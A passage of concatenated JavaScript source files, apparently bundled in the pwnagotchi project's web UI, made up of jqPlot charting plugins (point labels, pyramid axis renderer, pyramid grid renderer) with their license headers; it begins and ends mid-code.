stacked in a stacked plot. // no effect if labels is specified. this.stackedValue = false; // prop: ypadding // vertical padding in pixels between point and label this.ypadding = 6; // prop: xpadding // horizontal padding in pixels between point and label this.xpadding = 6; // prop: escapeHTML // true to escape html entities in the labels. // If you want to include markup in the labels, set to false. this.escapeHTML = true; // prop: edgeTolerance // Number of pixels that the label must be away from an axis // boundary in order to be drawn. Negative values will allow overlap // with the grid boundaries. this.edgeTolerance = -5; // prop: formatter // A class of a formatter for the tick text. sprintf by default. this.formatter = $.jqplot.DefaultTickFormatter; // prop: formatString // string passed to the formatter. this.formatString = ''; // prop: hideZeros // true to not show a label for a value which is 0. this.hideZeros = false; this._elems = []; $.extend(true, this, options); }; var locations = ['nw', 'n', 'ne', 'e', 'se', 's', 'sw', 'w']; var locationIndicies = {'nw':0, 'n':1, 'ne':2, 'e':3, 'se':4, 's':5, 'sw':6, 'w':7}; var oppositeLocations = ['se', 's', 'sw', 'w', 'nw', 'n', 'ne', 'e']; // called with scope of a series $.jqplot.PointLabels.init = function (target, data, seriesDefaults, opts, plot){ var options = $.extend(true, {}, seriesDefaults, opts); options.pointLabels = options.pointLabels || {}; if (this.renderer.constructor === $.jqplot.BarRenderer && this.barDirection === 'horizontal' && !options.pointLabels.location) { options.pointLabels.location = 'e'; } // add a pointLabels attribute to the series plugins this.plugins.pointLabels = new $.jqplot.PointLabels(options.pointLabels); this.plugins.pointLabels.setLabels.call(this); }; // called with scope of series $.jqplot.PointLabels.prototype.setLabels = function() { var p = this.plugins.pointLabels; var labelIdx; if (p.seriesLabelIndex != null) { labelIdx = p.seriesLabelIndex; } else if (this.renderer.constructor === $.jqplot.BarRenderer && this.barDirection === 'horizontal') { labelIdx = (this._plotData[0].length < 3) ? 0 : this._plotData[0].length -1; } else { labelIdx = (this._plotData.length === 0) ? 0 : this._plotData[0].length -1; } p._labels = []; if (p.labels.length === 0 || p.labelsFromSeries) { if (p.stackedValue) { if (this._plotData.length && this._plotData[0].length){ // var idx = p.seriesLabelIndex || this._plotData[0].length -1; for (var i=0; i<this._plotData.length; i++) { p._labels.push(this._plotData[i][labelIdx]); } } } else { // var d = this._plotData; var d = this.data; if (this.renderer.constructor === $.jqplot.BarRenderer && this.waterfall) { d = this._data; } if (d.length && d[0].length) { // var idx = p.seriesLabelIndex || d[0].length -1; for (var i=0; i<d.length; i++) { p._labels.push(d[i][labelIdx]); } } d = null; } } else if (p.labels.length){ p._labels = p.labels; } }; $.jqplot.PointLabels.prototype.xOffset = function(elem, location, padding) { location = location || this.location; padding = padding || this.xpadding; var offset; switch (location) { case 'nw': offset = -elem.outerWidth(true) - this.xpadding; break; case 'n': offset = -elem.outerWidth(true)/2; break; case 'ne': offset = this.xpadding; break; case 'e': offset = this.xpadding; break; case 'se': offset = this.xpadding; break; case 's': offset = -elem.outerWidth(true)/2; break; case 'sw': offset = -elem.outerWidth(true) - this.xpadding; break; case 'w': offset = -elem.outerWidth(true) - this.xpadding; break; default: // same as 'nw' offset = -elem.outerWidth(true) - this.xpadding; break; } return offset; }; $.jqplot.PointLabels.prototype.yOffset = function(elem, location, padding) { location = location || this.location; padding = padding || this.xpadding; var offset; switch (location) { case 'nw': offset = -elem.outerHeight(true) - this.ypadding; break; case 'n': offset = -elem.outerHeight(true) - this.ypadding; break; case 'ne': offset = -elem.outerHeight(true) - this.ypadding; break; case 'e': offset = -elem.outerHeight(true)/2; break; case 'se': offset = this.ypadding; break; case 's': offset = this.ypadding; break; case 'sw': offset = this.ypadding; break; case 'w': offset = -elem.outerHeight(true)/2; break; default: // same as 'nw' offset = -elem.outerHeight(true) - this.ypadding; break; } return offset; }; // called with scope of series $.jqplot.PointLabels.draw = function (sctx, options, plot) { var p = this.plugins.pointLabels; // set labels again in case they have changed. p.setLabels.call(this); // remove any previous labels for (var i=0; i<p._elems.length; i++) { // Memory Leaks patch // p._elems[i].remove(); if(p._elems[i]) { p._elems[i].emptyForce(); } } p._elems.splice(0, p._elems.length); if (p.show) { var ax = '_'+this._stackAxis+'axis'; if (!p.formatString) { p.formatString = this[ax]._ticks[0].formatString; p.formatter = this[ax]._ticks[0].formatter; } var pd = this._plotData; var ppd = this._prevPlotData; var xax = this._xaxis; var yax = this._yaxis; var elem, helem; for (var i=0, l=p._labels.length; i < l; i++) { var label = p._labels[i]; if (label == null || (p.hideZeros && parseFloat(label) == 0)) { continue; } label = p.formatter(p.formatString, label); helem = document.createElement('div'); p._elems[i] = $(helem); elem = p._elems[i]; elem.addClass('jqplot-point-label jqplot-series-'+this.index+' jqplot-point-'+i); elem.css('position', 'absolute'); elem.insertAfter(sctx.canvas); if (p.escapeHTML) { elem.text(label); } else { elem.html(label); } var location = p.location; if ((this.fillToZero && pd[i][1] < 0) || (this.fillToZero && this._type === 'bar' && this.barDirection === 'horizontal' && pd[i][0] < 0) || (this.waterfall && parseInt(label, 10)) < 0) { location = oppositeLocations[locationIndicies[location]]; } var ell = xax.u2p(pd[i][0]) + p.xOffset(elem, location); var elt = yax.u2p(pd[i][1]) + p.yOffset(elem, location); // we have stacked chart but are not showing stacked values, // place labels in center. if (this._stack && !p.stackedValue) { if (this.barDirection === "vertical") { elt = (this._barPoints[i][0][1] + this._barPoints[i][1][1]) / 2 + plot._gridPadding.top - 0.5 * elem.outerHeight(true); } else { ell = (this._barPoints[i][2][0] + this._barPoints[i][0][0]) / 2 + plot._gridPadding.left - 0.5 * elem.outerWidth(true); } } if (this.renderer.constructor == $.jqplot.BarRenderer) { if (this.barDirection == "vertical") { ell += this._barNudge; } else { elt -= this._barNudge; } } elem.css('left', ell); elem.css('top', elt); var elr = ell + elem.width(); var elb = elt + elem.height(); var et = p.edgeTolerance; var scl = $(sctx.canvas).position().left; var sct = $(sctx.canvas).position().top; var scr = sctx.canvas.width + scl; var scb = sctx.canvas.height + sct; // if label is outside of allowed area, remove it if (ell - et < scl || elt - et < sct || elr + et > scr || elb + et > scb) { elem.remove(); } elem = null; helem = null; } // finally, animate them if the series is animated // if (this.renderer.animation && this.renderer.animation._supported && this.renderer.animation.show && plot._drawCount < 2) { // var sel = '.jqplot-point-label.jqplot-series-'+this.index; // $(sel).hide(); // $(sel).fadeIn(1000); // } } }; $.jqplot.postSeriesInitHooks.push($.jqplot.PointLabels.init); $.jqplot.postDrawSeriesHooks.push($.jqplot.PointLabels.draw); })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.pyramidAxisRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { $.jqplot.PyramidAxisRenderer = function() { $.jqplot.LinearAxisRenderer.call(this); }; $.jqplot.PyramidAxisRenderer.prototype = new $.jqplot.LinearAxisRenderer(); $.jqplot.PyramidAxisRenderer.prototype.constructor = $.jqplot.PyramidAxisRenderer; // called with scope of axis $.jqplot.PyramidAxisRenderer.prototype.init = function(options){ // Group: Properties // // prop: position // Position of axis. Values are: top, bottom , left, center, right. // By default, x and x2 axes are bottom, y axis is center. this.position = null; // prop: drawBaseline // True to draw the axis baseline. this.drawBaseline = true; // prop: baselineWidth // width of the baseline in pixels. this.baselineWidth = null; // prop: baselineColor // CSS color spec for the baseline. this.baselineColor = null; this.tickSpacingFactor = 25; this._type = 'pyramid'; this._splitAxis = false; this._splitLength = null; this.category = false; this._autoFormatString = ''; this._overrideFormatString = false; $.extend(true, this, options); this.renderer.options = options; this.resetDataBounds = this.renderer.resetDataBounds; this.resetDataBounds(); }; $.jqplot.PyramidAxisRenderer.prototype.resetDataBounds = function() { // Go through all the series attached to this axis and find // the min/max bounds for this axis. var db = this._dataBounds; db.min = null; db.max = null; var temp; for (var i=0; i<this._series.length; i++) { var s = this._series[i]; var d = s._plotData; for (var j=0, l=d.length; j<l; j++) { if (this.name.charAt(0) === 'x') { temp = d[j][1]; if ((temp !== null && temp < db.min) || db.min === null) { db.min = temp; } if ((temp !== null && temp > db.max) || db.max === null) { db.max = temp; } } else { temp = d[j][0]; if ((temp !== null && temp < db.min) || db.min === null) { db.min = temp; } if ((temp !== null && temp > db.max) || db.max === null) { db.max = temp; } } } } }; // called with scope of axis $.jqplot.PyramidAxisRenderer.prototype.draw = function(ctx, plot) { if (this.show) { // populate the axis label and value properties. // createTicks is a method on the renderer, but // call it within the scope of the axis. this.renderer.createTicks.call(this, plot); // fill a div with axes labels in the right direction. // Need to pregenerate each axis to get its bounds and // position it and the labels correctly on the plot. var dim=0; var temp; // Added for theming. if (this._elem) { // Memory Leaks patch //this._elem.empty(); this._elem.emptyForce(); this._elem = null; } this._elem = $(document.createElement('div')); this._elem.addClass('jqplot-axis jqplot-'+this.name); this._elem.css('position', 'absolute'); if (this.name == 'xaxis' || this.name == 'x2axis') { this._elem.width(this._plotDimensions.width); } else { this._elem.height(this._plotDimensions.height); } // create a _label object. this.labelOptions.axis = this.name; this._label = new this.labelRenderer(this.labelOptions); if (this._label.show) { var elem = this._label.draw(ctx, plot); elem.appendTo(this._elem); elem = null; } var t = this._ticks; var tick; for (var i=0; i<t.length; i++) { tick = t[i]; if (tick.show && tick.showLabel && (!tick.isMinorTick)) { this._elem.append(tick.draw(ctx, plot)); } } tick = null; t = null; } return this._elem; }; // Note, primes can be found on http://primes.utm.edu/ var _primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997]; var _primesHash = {}; for (var i =0, l = _primes.length; i < l; i++) { _primesHash[_primes[i]] = _primes[i]; } // called with scope of axis $.jqplot.PyramidAxisRenderer.prototype.createTicks = function(plot) { // we're are operating on an axis here var userTicks = this.ticks; // databounds were set on axis initialization. var db = this._dataBounds; var dim; var interval; var min; var max; var range; var pos1; var pos2; var tt; var i; var l; var s; // get a copy of user's settings for min/max. var userMin = this.min; var userMax = this.max; var ut; var t; var threshold; var tdim; var scalefact; var ret; var tumin; var tumax; var maxVisibleTicks; var val; var skip = null; var temp; // if we already have ticks, use them. // ticks must be in order of increasing value. if (userTicks.length) { // ticks could be 1D or 2D array of [val, val, ,,,] or [[val, label], [val, label], ...] or mixed for (i=0, l=userTicks.length; i<l; i++){ ut = userTicks[i]; t = new this.tickRenderer(this.tickOptions); if ($.isArray(ut)) { t.value = ut[0]; t.label = ut[1]; t.setTick(ut[0], this.name); this._ticks.push(t); } else if ($.isPlainObject(ut)) { $.extend(true, t, ut); t.axis = this.name; this._ticks.push(t); } else { if (typeof ut === 'string') { val = i + plot.defaultAxisStart; } else { val = ut; } t.value = val; t.label = ut; t.axis = this.name; this._ticks.push(t); } } this.numberTicks = userTicks.length; this.min = this._ticks[0].value; this.max = this._ticks[this.numberTicks-1].value; this.tickInterval = (this.max - this.min) / (this.numberTicks - 1); // use user specified tickInterval if there is one if (this._options.tickInterval) { // hide every tick except for ticks on interval var ti = this._options.tickInterval; for (i=0; i<this.numberTicks; i++) { if (i%ti !== 0) { // this._ticks[i].show = false; this._ticks[i].isMinorTick = true; } } } else { // check if we have too many ticks dim = (this.name.charAt(0) === 'x') ? this._plotDimensions.width : this._plotDimensions.height; maxVisibleTicks = Math.round(2.0 + dim/this.tickSpacingFactor); if (this.numberTicks > maxVisibleTicks) { // check for number of ticks we can skip temp = this.numberTicks - 1; for (i=2; i<temp; i++) { if (temp % i === 0 && temp/i < maxVisibleTicks) { skip = i-1; break; } } if (skip !== null) { var count = 1; for (i=1, l=this._ticks.length; i<l; i++) { if (count <= skip) { this._ticks[i].show = false; count += 1; } else { count = 1; } } } } } // if category style, add minor ticks in between temp = []; if (this.category) { // turn off gridline and mark on first tick this._ticks[0].showGridline = false; this._ticks[0].showMark = false; for (i=this._ticks.length-1; i>0; i--) { t = new this.tickRenderer(this.tickOptions); t.value = this._ticks[i-1].value + this.tickInterval/2.0; t.label = ''; t.showLabel = false; t.axis = this.name; this._ticks[i].showGridline = false; this._ticks[i].showMark = false; this._ticks.splice(i, 0, t); // temp.push(t); } // merge in the new ticks // for (i=1, l=temp.length; i<l; i++) { // this._ticks.splice(i, 0, temp[i]); // } // now add a tick at beginning and end t = new this.tickRenderer(this.tickOptions); t.value = this._ticks[0].value - this.tickInterval/2.0; t.label = ''; t.showLabel = false; t.axis = this.name; this._ticks.unshift(t); t = new this.tickRenderer(this.tickOptions); t.value = this._ticks[this._ticks.length-1].value + this.tickInterval/2.0; t.label = ''; t.showLabel = false; t.axis = this.name; this._ticks.push(t); this.tickInterval = this.tickInterval / 2.0; this.numberTicks = this._ticks.length; this.min = this._ticks[0].value; this.max = this._ticks[this._ticks.length-1].value; } } // we don't have any ticks yet, let's make some! else { if (this.name.charAt(0) === 'x') { dim = this._plotDimensions.width; // make sure x axis is symetric about 0. var tempmax = Math.max(db.max, Math.abs(db.min)); var tempmin = Math.min(db.min, -tempmax); // min = ((this.min != null) ? this.min : tempmin); // max = ((this.max != null) ? this.max : tempmax); min = tempmin; max = tempmax; range = max - min; if (this.tickOptions == null || !this.tickOptions.formatString) { this._overrideFormatString = true; } threshold = 30; tdim = Math.max(dim, threshold+1); scalefact = (tdim-threshold)/300.0; ret = $.jqplot.LinearTickGenerator(min, max, scalefact); // calculate a padded max and min, points should be less than these // so that they aren't too close to the edges of the plot. // User can adjust how much padding is allowed with pad, padMin and PadMax options. tumin = min + range*(this.padMin - 1); tumax = max - range*(this.padMax - 1); if (min < tumin || max > tumax) { tumin = min - range*(this.padMin - 1); tumax = max + range*(this.padMax - 1); ret = $.jqplot.LinearTickGenerator(tumin, tumax, scalefact); } this.min = ret[0]; this.max = ret[1]; this.numberTicks = ret[2]; this._autoFormatString = ret[3]; this.tickInterval = ret[4]; } else { dim = this._plotDimensions.height; // ticks will be on whole integers like 1, 2, 3, ... or 1, 4, 7, ... min = db.min; max = db.max; s = this._series[0]; this._ticks = []; range = max - min; // if range is a prime, will get only 2 ticks, expand range in that case. if (_primesHash[range]) { range += 1; max += 1; } this.max = max; this.min = min; maxVisibleTicks = Math.round(2.0 + dim/this.tickSpacingFactor); if (range + 1 <= maxVisibleTicks) { this.numberTicks = range + 1; this.tickInterval = 1.0; } else { // figure out a round number of ticks to skip in every interval // range / ti + 1 = nt // ti = range / (nt - 1) for (var i=maxVisibleTicks; i>1; i--) { if (range/(i - 1) === Math.round(range/(i - 1))) { this.numberTicks = i; this.tickInterval = range/(i - 1); break; } } } } if (this._overrideFormatString && this._autoFormatString != '') { this.tickOptions = this.tickOptions || {}; this.tickOptions.formatString = this._autoFormatString; } var labelval; for (i=0; i<this.numberTicks; i++) { this.tickOptions.axis = this.name; labelval = this.min + this.tickInterval * i; if (this.name.charAt(0) === 'x') { labelval = Math.abs(labelval); } // this.tickOptions.label = String (labelval); this.tickOptions.value = this.min + this.tickInterval * i; t = new this.tickRenderer(this.tickOptions); t.label = t.prefix + t.formatter(t.formatString, labelval); this._ticks.push(t); // for x axis, if y axis is in middle, add a symetrical 0 tick if (this.name.charAt(0) === 'x' && plot.axes.yMidAxis.show && this.tickOptions.value === 0) { this._splitAxis = true; this._splitLength = plot.axes.yMidAxis.getWidth(); // t.value = -this.max/2000.0; t = new this.tickRenderer(this.tickOptions); this._ticks.push(t); t.value = this.max/2000.0; } } t = null; } }; // called with scope of axis $.jqplot.PyramidAxisRenderer.prototype.set = function() { var dim = 0; var temp; var w = 0; var h = 0; var i; var t; var tick; var lshow = (this._label == null) ? false : this._label.show; if (this.show) { t = this._ticks; l = t.length; for (i=0; i<l; i++) { tick = t[i]; if (!tick._breakTick && tick.show && tick.showLabel && !tick.isMinorTick) { if (this.name.charAt(0) === 'x') { temp = tick._elem.outerHeight(true); } else { temp = tick._elem.outerWidth(true); } if (temp > dim) { dim = temp; } } } if (this.name === 'yMidAxis') { for (i=0; i<l; i++) { tick = t[i]; if (tick._elem) { temp = (dim - tick._elem.outerWidth(true))/2.0; tick._elem.css('left', temp); } } } tick = null; t = null; if (lshow) { w = this._label._elem.outerWidth(true); h = this._label._elem.outerHeight(true); } if (this.name === 'xaxis') { dim = dim + h; this._elem.css({'height':dim+'px', left:'0px', bottom:'0px'}); } else if (this.name === 'x2axis') { dim = dim + h; this._elem.css({'height':dim+'px', left:'0px', top:'0px'}); } else if (this.name === 'yaxis') { dim = dim + w; this._elem.css({'width':dim+'px', left:'0px', top:'0px'}); if (lshow && this._label.constructor == $.jqplot.AxisLabelRenderer) { this._label._elem.css('width', w+'px'); } } else if (this.name === 'yMidAxis') { // don't include width of label at all in width of axis? // dim = (dim > w) ? dim : w; var temp = dim/2.0 - w/2.0; this._elem.css({'width':dim+'px', top:'0px'}); if (lshow && this._label.constructor == $.jqplot.AxisLabelRenderer) { this._label._elem.css({width: w, left: temp, top: 0}); } } else { dim = dim + w; this._elem.css({'width':dim+'px', right:'0px', top:'0px'}); if (lshow && this._label.constructor == $.jqplot.AxisLabelRenderer) { this._label._elem.css('width', w+'px'); } } } }; $.jqplot.PyramidAxisRenderer.prototype.pack = function(pos, offsets) { // Add defaults for repacking from resetTickValues function. pos = pos || {}; offsets = offsets || this._offsets; var ticks = this._ticks; var max = this.max; var min = this.min; var offmax = offsets.max; var offmin = offsets.min; var lshow = (this._label == null) ? false : this._label.show; for (var p in pos) { this._elem.css(p, pos[p]); } this._offsets = offsets; // pixellength will be + for x axes and - for y axes becasue pixels always measured from top left. var pixellength = offmax - offmin; var unitlength = max - min; var sl = this._splitLength; // point to unit and unit to point conversions references to Plot DOM element top left corner. if (this._splitAxis) { pixellength -= this._splitLength; // don't know that this one is correct. this.p2u = function(p){ return (p - offmin) * unitlength / pixellength + min; }; this.u2p = function(u){ if (u <= 0) { return (u - min) * pixellength / unitlength + offmin; } else { return (u - min) * pixellength / unitlength + offmin + sl; } }; this.series_u2p = function(u){ if (u <= 0) { return (u - min) * pixellength / unitlength; } else { return (u - min) * pixellength / unitlength + sl; } }; // don't know that this one is correct. this.series_p2u = function(p){ return p * unitlength / pixellength + min; }; } else { this.p2u = function(p){ return (p - offmin) * unitlength / pixellength + min; }; this.u2p = function(u){ return (u - min) * pixellength / unitlength + offmin; }; if (this.name.charAt(0) === 'x'){ this.series_u2p = function(u){ return (u - min) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + min; }; } else { this.series_u2p = function(u){ return (u - max) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + max; }; } } if (this.show) { if (this.name.charAt(0) === 'x') { for (var i=0; i<ticks.length; i++) { var t = ticks[i]; if (t.show && t.showLabel) { var shim; if (t.constructor == $.jqplot.CanvasAxisTickRenderer && t.angle) { // will need to adjust auto positioning based on which axis this is. var temp = (this.name == 'xaxis') ? 1 : -1; switch (t.labelPosition) { case 'auto': // position at end if (temp * t.angle < 0) { shim = -t.getWidth() + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; } // position at start else { shim = -t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; } break; case 'end': shim = -t.getWidth() + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; case 'start': shim = -t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; break; case 'middle': shim = -t.getWidth()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; default: shim = -t.getWidth()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; } } else { shim = -t.getWidth()/2; } var val = this.u2p(t.value) + shim + 'px'; t._elem.css('left', val); t.pack(); } } if (lshow) { var w = this._label._elem.outerWidth(true); this._label._elem.css('left', offmin + pixellength/2 - w/2 + 'px'); if (this.name == 'xaxis') { this._label._elem.css('bottom', '0px'); } else { this._label._elem.css('top', '0px'); } this._label.pack(); } } else { for (var i=0; i<ticks.length; i++) { var t = ticks[i]; if (t.show && t.showLabel && !t.isMinorTick) { var shim; if (t.constructor == $.jqplot.CanvasAxisTickRenderer && t.angle) { // will need to adjust auto positioning based on which axis this is. var temp = (this.name == 'yaxis') ? 1 : -1; switch (t.labelPosition) { case 'auto': // position at end case 'end': if (temp * t.angle < 0) { shim = -t._textRenderer.height * Math.cos(-t._textRenderer.angle) / 2; } else { shim = -t.getHeight() + t._textRenderer.height * Math.cos(t._textRenderer.angle) / 2; } break; case 'start': if (t.angle > 0) { shim = -t._textRenderer.height * Math.cos(-t._textRenderer.angle) / 2; } else { shim = -t.getHeight() + t._textRenderer.height * Math.cos(t._textRenderer.angle) / 2; } break; case 'middle': // if (t.angle > 0) { // shim = -t.getHeight()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; // } // else { // shim = -t.getHeight()/2 - t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; // } shim = -t.getHeight()/2; break; default: shim = -t.getHeight()/2; break; } } else { shim = -t.getHeight()/2; } var val = this.u2p(t.value) + shim + 'px'; t._elem.css('top', val); t.pack(); } } if (lshow) { var h = this._label._elem.outerHeight(true); if (this.name !== 'yMidAxis') { this._label._elem.css('top', offmax - pixellength/2 - h/2 + 'px'); } if (this.name == 'yaxis') { this._label._elem.css('left', '0px'); } else if (this.name !== 'yMidAxis') { this._label._elem.css('right', '0px'); } this._label.pack(); } } } ticks = null; }; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.pyramidGridRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { // Class: $.jqplot.CanvasGridRenderer // The default jqPlot grid renderer, creating a grid on a canvas element. // The renderer has no additional options beyond the <Grid> class. $.jqplot.PyramidGridRenderer = function(){ $.jqplot.CanvasGridRenderer.call(this); }; $.jqplot.PyramidGridRenderer.prototype = new $.jqplot.CanvasGridRenderer(); $.jqplot.PyramidGridRenderer.prototype.constructor = $.jqplot.PyramidGridRenderer; // called with context of Grid object $.jqplot.CanvasGridRenderer.prototype.init = function(options) { this._ctx; this.plotBands = { show: false, color: 'rgb(230, 219, 179)', axis: 'y', start: null, interval: 10 }; $.extend(true, this, options); // set the shadow renderer options var sopts = {lineJoin:'miter', lineCap:'round', fill:false, isarc:false, angle:this.shadowAngle, offset:this.shadowOffset, alpha:this.shadowAlpha, depth:this.shadowDepth, lineWidth:this.shadowWidth, closePath:false, strokeStyle:this.shadowColor}; this.renderer.shadowRenderer.init(sopts); }; $.jqplot.PyramidGridRenderer.prototype.draw = function() { this._ctx = this._elem.get(0).getContext("2d"); var ctx = this._ctx; var axes = this._axes; var xp = axes.xaxis.u2p; var yp = axes.yMidAxis.u2p; var xnudge = axes.xaxis.max/1000.0; var xp0 = xp(0); var xpn = xp(xnudge); var ax = ['xaxis', 'yaxis', 'x2axis', 'y2axis','yMidAxis']; // Add the grid onto the grid canvas. This is the bottom most layer. ctx.save(); ctx.clearRect(0, 0, this._plotDimensions.width, this._plotDimensions.height); ctx.fillStyle = this.backgroundColor || this.background; ctx.fillRect(this._left, this._top, this._width, this._height); if (this.plotBands.show) { ctx.save(); var pb = this.plotBands; ctx.fillStyle = pb.color; var axis; var x, y, w, h; // find axis to work with if (pb.axis.charAt(0) === 'x') { if (axes.xaxis.show) { axis = axes.xaxis; } } else if (pb.axis.charAt(0) === 'y') { if (axes.yaxis.show) { axis = axes.yaxis; } else if (axes.y2axis.show) { axis = axes.y2axis; } else if (axes.yMidAxis.show) { axis = axes.yMidAxis; } } if (axis !== undefined) { // draw some rectangles var start = pb.start; if (start === null) { start = axis.min; } for (var i = start; i < axis.max; i += 2 * pb.interval) { if (axis.name.charAt(0) === 'y') { x = this._left; if ((i + pb.interval) < axis.max) { y = axis.series_u2p(i + pb.interval) + this._top; } else { y = axis.series_u2p(axis.max) + this._top; } w = this._right - this._left; h = axis.series_u2p(start) - axis.series_u2p(start + pb.interval); ctx.fillRect(x, y, w, h); } // else { // y = 0; // x = axis.series_u2p(i); // h = this._height; // w = axis.series_u2p(start + pb.interval) - axis.series_u2p(start); // } } } ctx.restore(); } ctx.save(); ctx.lineJoin = 'miter'; ctx.lineCap = 'butt'; ctx.lineWidth = this.gridLineWidth; ctx.strokeStyle = this.gridLineColor; var b, e, s, m; for (var i=5; i>0; i--) { var name = ax[i-1]; var axis = axes[name]; var ticks = axis._ticks; var numticks = ticks.length; if (axis.show) { if (axis.drawBaseline) { var bopts = {}; if (axis.baselineWidth !== null) { bopts.lineWidth = axis.baselineWidth; } if (axis.baselineColor !== null) { bopts.strokeStyle = axis.baselineColor; } switch (name) { case 'xaxis': if (axes.yMidAxis.show) { drawLine (this._left, this._bottom, xp0, this._bottom, bopts); drawLine (xpn, this._bottom, this._right, this._bottom, bopts); } else { drawLine (this._left, this._bottom, this._right, this._bottom, bopts); } break; case 'yaxis': drawLine (this._left, this._bottom, this._left, this._top, bopts); break; case 'yMidAxis': drawLine(xp0, this._bottom, xp0, this._top, bopts); drawLine(xpn, this._bottom, xpn, this._top, bopts); break; case 'x2axis': if (axes.yMidAxis.show) { drawLine (this._left, this._top, xp0, this._top, bopts); drawLine (xpn, this._top, this._right, this._top, bopts); } else { drawLine (this._left, this._bottom, this._right, this._bottom, bopts); } break; case 'y2axis': drawLine (this._right, this._bottom, this._right, this._top, bopts); break; } } for (var j=numticks; j>0; j--) { var t = ticks[j-1]; if (t.show) { var pos = Math.round(axis.u2p(t.value)) + 0.5; switch (name) { case 'xaxis': // draw the grid line if we should if (t.showGridline && this.drawGridlines && (!t.isMinorTick || axis.showMinorTicks)) { drawLine(pos, this._top, pos, this._bottom); } // draw the mark if (t.showMark && t.mark && (!t.isMinorTick || axis.showMinorTicks)) { s = t.markSize; m = t.mark; var pos = Math.round(axis.u2p(t.value)) + 0.5; switch (m) { case 'outside': b = this._bottom; e = this._bottom+s; break; case 'inside': b = this._bottom-s; e = this._bottom; break; case 'cross': b = this._bottom-s; e = this._bottom+s; break; default: b = this._bottom; e = this._bottom+s; break; } // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, [[pos,b],[pos,e]], {lineCap:'butt', lineWidth:this.gridLineWidth, offset:this.gridLineWidth*0.75, depth:2, fill:false, closePath:false}); } // draw the line drawLine(pos, b, pos, e); } break; case 'yaxis': // draw the grid line if (t.showGridline && this.drawGridlines && (!t.isMinorTick || axis.showMinorTicks)) { drawLine(this._right, pos, this._left, pos); } // draw the mark if (t.showMark && t.mark && (!t.isMinorTick || axis.showMinorTicks)) { s = t.markSize; m = t.mark; var pos = Math.round(axis.u2p(t.value)) + 0.5; switch (m) { case 'outside': b = this._left-s; e = this._left; break; case 'inside': b = this._left; e = this._left+s; break; case 'cross': b = this._left-s; e = this._left+s; break; default: b = this._left-s; e = this._left; break; } // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, [[b, pos], [e, pos]], {lineCap:'butt', lineWidth:this.gridLineWidth*1.5, offset:this.gridLineWidth*0.75, fill:false, closePath:false}); } drawLine(b, pos, e, pos, {strokeStyle:axis.borderColor}); } break; case 'yMidAxis': // draw the grid line if (t.showGridline && this.drawGridlines && (!t.isMinorTick || axis.showMinorTicks)) { drawLine(this._left, pos, xp0, pos); drawLine(xpn, pos, this._right, pos); } // draw the mark if (t.showMark && t.mark && (!t.isMinorTick || axis.showMinorTicks)) { s = t.markSize; m = t.mark; var pos = Math.round(axis.u2p(t.value)) + 0.5; b = xp0; e = xp0 + s; // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, [[b, pos], [e, pos]], 